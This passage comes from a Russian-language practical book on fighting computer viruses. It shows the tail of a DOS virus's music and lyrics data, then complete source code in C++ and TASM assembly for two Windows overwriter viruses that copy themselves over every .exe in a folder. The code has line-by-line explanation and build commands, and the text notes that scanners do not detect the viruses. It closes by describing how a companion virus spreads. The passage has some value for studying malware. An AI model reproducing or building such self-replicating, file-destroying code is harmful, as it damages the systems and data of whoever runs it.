Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
151 |
|
|
; -1 = Пауза |
-2 = Âèçã |
;0 = Конец данных
;3 = #1 Часть стихов
;4 = #2 Часть стихов
;5 = #3 Часть стихов
;6 = Финальный хлопок руками
;Большинство других цифр получены как данные для вывода таймером
MusicData:
;Если вы спаситель и знаете об этом
dw 3
dw 1,1473d,-1,2,1,1473d,-1,2,1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2
dw |
1,1084d,-1,2,1,1084d,-1,2,1,1084d,-1,2 |
; Хлопайте в ладоши |
|
dw |
4 |
dw |
1,1193d,-1,2,1,1084d,-1,2,1,994d,-1,2 |
; Õëîï, õëîï |
|
dw |
-1,-2,-1,-2,-1 |
; Если вы спаситель и знаете об этом |
|
dw |
3 |
dw 1,1473d,-1,2,1,1473d,-1,2,1,994d,-1,2,1,994d,-1,2,1,994d,-1,2
dw |
1,994d,-1,2,1,994d,-1,2,1,994d,-1,2 |
; Хлопайте в ладоши |
|
dw |
4 |
dw |
1,1084d,-1,2,1,994d,-1,2,1,883d,-1,2 |
; Õëîï, õëîï
dw -1,-2,-1,-2,-1
; Если вы спаситель и знаете об этом dw 3
dw 1,1084d,-1,2,1,883d,-1,2,1,822d,-1,2,1,822d,-1,2,1,822d,-1,2
dw |
1,883d,-1,2,1,1325d,-1,2,1,1325d,-1,2 |
; Тогда это видно по лицу |
|
dw |
5 |
dw 1,822d,-1,2,1,994d,-1,2,1,883d,-1,2,1,883d,-1,2,1,883d,-1,2
dw |
1,994d,-1,2,1,1084d,-1,2,1,1084d,-1,2 |
; Если вы спаситель и знаете об этом |
|
dw |
3 |
dw |
1,1084d,-1,2,1,883d,-1,2 |
dw 1,994d,-1,2,1,994d,-1,2,1,994d,-1,2,1,1084d,-1,2,1,1193d,-1,2
dw |
1,1193d,-1,2 |
; Хлопайте в ладоши |
|
dw |
4 |
dw |
1,1325d,-1,2,1,1193d,-1,2,1,1084d,-1,2 |
; Õëîï, õëîï
dw -1,6,-1,6,-1,0
152 |
|
|
|
DOS вирусы |
|
||||
Lyrics1 db 'If you''re the Messiah and you know it,',0 |
||||
Lyrics2 db ' |
Clap your hands! |
',0 |
||
Lyrics3 db ' |
Then your face will surely show it, ',0 |
|||
Vname |
db |
'(rucifixion Virus 1.0',0 |
|
|
Credits |
db |
'(c) 1994, by Jesus of The Trinity',0 |
||
Attribs |
dw |
0 |
|
|
TimeDate |
dw |
0,0 |
|
|
MyStack |
dw |
40 dup(0) |
; |
; |
endCruc: |
|
|
|
|
end start |
|
|
|
|
;---------------------------------------------- |
|
|
|
|
В данной программе рисуется образ Иисуса Христа на кресте, идут авторские стихи, паралелльно авторская музыка, а Иисус Христос хлопает в ладоши в самые ответственные моменты.
На этом с графическими и музыкальными спецэффектами в вирусах мы закончили.
Windows вирусы
Теперь переходим к наиболее актуальной части нашего повествования — к разработке вирусов под операционные системы семейства Microsoft Windows. В какие-то моменты может показаться, что разработка вирусов под Windows системы гораздо легче, чем под MS DOS, но должен вас заверить, что это не так. Написание грамотного вируса под MS WINDOWS ничуть не легче, даже сложнее, чем под MS DOS. Если в MS DOS вирусах не наблюдается существенных различий в зависимости от верси DOS'а, то в MS Windows вирусах существуют существенные различия в вирусах, адаптированных под разные версии ОС. Windows вирусы мы тоже будем разбирать, начиная с простейших и постепенно переходя к более сложным и более трудно детектируемым.
Ì å ò î ä û ð à ç ì í î æ å í è ÿ â è ð ó ñ î â
Глава 1 Простейшие overwriter вирусы
Начнем наши исследования компьютерных вирусов под операционные системы MS Windows, как обычно, с вирусов типа overwriter. Чем отличается вирус overwriter под операционную систему MS DOS от overwriter вируса под операционную систему MS Windows? Основное различие заключается в том, что в MS DOS вирусах типа overwriter используются 16-битные DOS-функции, а в вирусах под ОС семейства Windows используются 32-битные Windows функции. Возможно так же использование 16-битных Windows функций, которые используются в Windows 3.11, но данная ОС не является в полном понимании операционной системой. Это своего рода надстройка над DOS'ом. Поэтому мы не будем рассматривать написание вирусов под эту операционную систему. Нашей основной задачей будет написание вирусов, совместимых с большинством операционных систем семейства Windows, начиная от Windows 95 и заканчивая Windows XP.
Итак, начнем наше знакомство с overwriter вирусами под операционные системы семейства Windows с простого вируса, написанного на C++.
Следует рассмотреть, как выглядит файл до инфицирования и после:
154 |
Windows вирусы |
|
|
а) до инфицирования:
б) после инфицирования:
Перейдем к листингу:
//--------------------------------------------- |
|
|
|
#include "windows.h" |
//Используемая библиотека |
||
int main(int argc, char *argv[]) |
//В argv[0] хранится имя программы, из которой мы запущены |
||
{ |
|
|
|
HANDLE find_handle; |
// Хэндл поиска |
|
|
WIN32_FIND_DATA ff; |
// В переменной |
ff будут храниться результаты поиска |
|
char msg1[50]="[ VIRUS WIN32 OVERWRITER -=w32.zorbot=- ]"; // Имя вируса |
|||
find_handle=FindFirstFileA("*.exe",&ff); // Вызов функции поиска первого файла |
|||
while (1) |
// Бесконечный цикл поиска файлов |
||
{ |
|
|
|
CopyFileA(argv[0],ff.cFileName,0); |
// |
Копируем себя в найденную программу |
|
if (!FindNextFileA(find_handle,&ff)) break;// |
Если файлов больше нет, то выходим |
||
|
|
// |
из цикла |
} |
|
|
|
FindClose(find_handle); |
|
// |
Закрываем поиск |
return (0); |
|
// |
Выходим из программы |
} |
|
|
|
//---------------------------------------------
Язык C++ для написания вирусов под Windows мы выбрали не зря, так как сама система Windows (не важно какой версии) написана на C++ с применением Ассемблера. Поэтому удобнее всего использовать WIN32 API при помощи языка программирования C++. Рассмотрим данный вирус по частям.
Начинаем с первой части:
//--------------------------------------------- |
|
|
|
HANDLE find_handle; |
// |
Хэндл поиска |
|
WIN32_FIND_DATA ff; |
// |
В переменной |
ff будут храниться результаты поиска |
char msg1[50]="[ VIRUS WIN32 OVERWRITER -=w32.zorbot=- ]"; // Имя вируса find_handle=FindFirstFileA("*.exe",&ff); // Вызов функции поиска первого файла
//---------------------------------------------
Сначала в ней описываются переменные. Первая — find_handle — это указатель поиска. Она используется в функции FindNextFileA. Следующая — это переменная ff типа WIN32_FIND_DATA. Ее следует рассмотреть подробнее, так как в ней хранятся все параметры найденного файла. Если быть более точным, то это даже не переменная, а структура.
Windows вирусы |
155 |
|
|
Посмотрим, как она выглядит:
//--------------------------------------------- |
|
|
|
typedef struct _WIN32_FIND_DATA { |
|
||
DWORD dwFileAttributes; |
// Атрибуты файла |
||
FILETIME |
ftCreationTime; |
// Время создания |
|
FILETIME |
ftLastAccessTime; |
//Время последнего доступа |
|
FILETIME |
ftLastWriteTime; |
//Время последней записи в файл |
|
DWORD |
nFileSizeHigh; |
//Верхний байт размера файла |
|
DWORD |
nFileSizeLow; |
//Нижний байт размера файла |
|
DWORD |
dwReserved0; |
//Зарезервировано |
|
DWORD |
dwReserved1; |
//Зарезервировано |
|
TCHAR |
cFileName[ MAX_PATH ]; |
//Имя файла |
|
TCHAR |
cAlternateFileName[ 14 ]; //Имя файла для отображения в DOS (8:3) |
||
} WIN32_FIND_DATA; //---------------------------------------------
Теперь вы можете наглядно убедиться, что в этой структуре хранятся все параметры найденного нами файла. Далее идет непосредственный вызов WIN API функции FindFirstFileA и сохранение хэндла поиска в переменную find_handle.
При вызове функции FindFirstFileA ей в качестве параметров передаются:
•маска поиска (*.exe);
•и переменная ff, которая была рассмотрена выше. Перейдем ко второй части разбираемого нами вируса:
//--------------------------------------------- |
|
|
while (1) |
// Бесконечный цикл поиска файлов |
|
{ |
|
|
CopyFileA(argv[0],ff.cFileName,0); |
// |
Копируем себя в найденную программу |
if (!FindNextFileA(find_handle,&ff)) break;// |
Если файлов больше нет, то выходим |
|
|
// |
из цикла |
}
//---------------------------------------------
В данной части вируса и происходит непосредственное инфицирование. Оно заключается в том, что просто копируется вирусная программа в найденный нами файл. Копирование производится WIN API функцией, аналогичной DOS-команде copy. При копировании очень удобно использовать параметр argv[0], в котором хранится имя программы, из которой вирус был запущен. Параметр 0 в функции копирования говорит о том, что файл будет перезаписываться. Далее идет поиск нового файла, и, если он найден, происходит его инфицирование. Если файлы закончились, цикл прерывается командой break.
Переходим к последней части данного вируса:
//--------------------------------------------- |
|
|
FindClose(find_handle); |
// |
Закрываем поиск |
return (0); |
// |
Выходим из программы |
//--------------------------------------------- |
|
|
156 |
Windows вирусы |
|
|
Эта очень простая часть: закрывается хэндл поиска, и заканчивается работа данной программы.
Для компиляции данного вируса я использовал Borland C++ 5.02. По ка- ким-то не ясным для меня причинам эвристические анализаторы данный вирус не опознают, хотя в нем никакие трюки не использовались13.
Теперь напишем аналогичный вирус на 32-битном ассемблере с использованием аналогичных WIN32 API функций. Вызов WIN API функций отличается от вызова DOS-функций. При вызове DOS-функций заполнялись базовые регистры, и вызывалось прерывание (в зависимости от DOS-функции).
При вызове WIN API функций из Ассемблера все параметры должны загружаться в стек в обратном порядке, и только после этого идет вызов функции.
Рассмотрим простейшую программу на Ассемблере под Windows:
;---------------------------------------------- |
|
.386 |
; 386я машина |
.model flat, stdcall |
; модель памяти flat |
|
; |
extrn ExitProcess:proc |
; импорт из kernel32 |
|
; |
.data |
; раздел данных |
dd 0 |
; |
|
; |
.code |
; |
start: |
; |
|
; |
push 0 |
; код выхода |
call ExitProcess |
; вызвать API для выхода |
|
; |
|
; |
end start |
; |
end |
; конец |
;---------------------------------------------- |
|
Данная программа ничего не делает, как если бы мы написали *.com программу с одной лишь инструкцией int 20h.
Чтобы программа работала под Windows, первые две строки должны обязательно присутствовать. Далее идет импорт функции завершения работы программы.
В области данных обязательно должны быть хоть какие-то данные, иначе tasm32 будет выдавать ошибку.
С метки start начинается работа программы. В стек кладется параметр функции ExitProcess и после этого вызывается сама функция.
Для ассемблирования и компоновки вам понадобится TASM 5.0. В нем есть все необходимые файлы. Скажем, мы сохранили данную программу, как example.asm.
13 Очевидно, что чем более примитивен вирус, тем проще его «поймать» и тем быстрее он попадет в антивирусную базу — Ïðèì. ðåä.
Windows вирусы |
157 |
|
|
Для создания рабочей программы вам необходимо выполнить следующие действия:
1)tasm32 -ml -m3 example.asm;
2)tlink32 /c /aa /Tpe example.obj,,,imp32i.lib/
При помощи первого действия производится ассемблирование и создается файл example.obj. А при помощи второго производится компоновка и создается уже готовая программа example.exe. Файл imp32i.lib — это библиотечный файл, в котором содержатся основные Windows функции.
После этой небольшой подготовки мы готовы перейти к первому ассемблерному вирусу под Windows.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Рассмотрим листинг:
;---------------------------------------------- |
|
|
|
.386 |
|
|
|
.model flat |
|
|
|
;Далее идут импортируемые функции |
|
||
extrn |
ExitProcess:PROC |
|
|
extrn |
FindFirstFileA:PROC |
|
|
extrn |
CopyFileA:PROC |
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
.data |
|
|
; Область данных |
EXE_file |
DB |
'*.exe',0 |
; Маска поиска файлов |
find_file |
db |
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]' ; Имя вируса |
|
.code |
|
|
; |
;---------------------------------------------- |
|
|
|
start: |
|
|
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
158 |
|
Windows вирусы |
|
|
|
push |
eax |
; Положим в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Положим в стек смещение на find_file |
push |
OFFSET EXE_file |
; Положим в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; при копировании перезаписывать файл |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; И мы идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Положим в стек хэндл поиска |
call |
FindClose |
; И вызываем функцию закрытия поиска |
push |
0 |
; Положим в стек 0 |
call |
ExitProcess |
; И вызываем функцию завершения программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет и 1 в обратном случае
push |
offset find_file |
; Положим в стек смещение на find_file |
push |
[Fhandle] |
; Положим в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Рассмотрим данный вирус более подробно, потому как необходимо понять основные принципы программирования вирусов на Ассемблере под Windows системы.
Windows вирусы |
159 |
|
|
Начнем с первого блока.
;----------------------------------------------
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Положим в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Положим в стек смещение на find_file |
push |
OFFSET EXE_file |
; Положим в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла |
je |
End_it |
; То идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
В начале данного блока вызывается WIN API функция GetCommandLineA. Этот вызов необходим, чтобы мы получили имя файла, из которого запущены.
Данная функция возвращает в регистре eax смещение на командную строку. Затем при помощи функции lstrcpyA командная строка копируется в переменную host_name. После этого вызываем функцию FindFirstFileA, и если файл найден, сохраняем хэндл поиска в переменную Fhandle.
Переходим ко второму блоку:
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; при копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; И мы идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Положим в стек хэндл поиска |
call |
FindClose |
; И вызываем функцию закрытия поиска |
push |
0 |
; Положим в стек 0 |
call |
ExitProcess |
; И вызываем функцию завершения программы |
;----------------------------------------------
160 |
Windows вирусы |
|
|
В начале данного блока мы копируем вирусную программу в найденный нами файл, после этого вызываем процедуру поиска следующего файла, и если файл найден, инфицируем его. Если файлов больше нет, то закрываем поиск и завершаем работу программы.
И теперь рассмотрим последний блок:
;---------------------------------------------- |
|
Fnext: |
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; |
Положим |
в стек смещение на find_file |
push |
[Fhandle] |
; |
Положим |
в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
||
ret |
|
; Возврат из процедуры |
||
;----------------------------------------------
Это процедура поиска следующего файла. В ней, как и положено, параметры ложатся в стек в обратном порядке, вызывается сама функция FindNextFileA, и после этого управление возвращается в основную программу.
Ассемблирование и компоновка осуществляются так же, как и в предыдущем случае. Антивирусами этот вирус не обнаруживается, что говорит не в их пользу. Основным недостатком вирусов, описанных в этой части, является то, что они портят заражаемую программу. Напомню, мы исследовали overwriter вирусы под системы семейства Windows.
Лечение вирусов данного типа такое же, как и их DOS-аналогов — удаление.
Глава 2 Простейшие companion вирусы
Пришло время начать разбор companion вирусов для систем семейства MS Windows. Данные вирусы отличаются от схожих вирусов под операционные системы семейства MS DOS. При инфицировании, в отличие от их аналогов под DOS, они не создают файла двойника с *.com расширением. При размножении вирусная программа ищет *.exe файлы, затем копирует их в файлы с аналогич- ным именем, но отличным расширением, например если найден файл 123.exe, то он копируется в файл 123.xxx, а сама вирусная программа копируется в файл 123.exe. После того как все файлы таким способом заражены, вирусная программа копирует файл с именем, идентичным тому, из которого сам вирус был запущен в файл 31337.exe. После этого запускает этот файл и, когда работа программы (31337.exe) завершена, данный файл удаляется. Таким образом, появляется иллюзия того, что была запущена просто оригинальная программа. Данная иллюзия появляется из-за того, что вирус работает довольно-таки быстро.
Следует рассмотреть как выглядит файл до инфицирования и после.
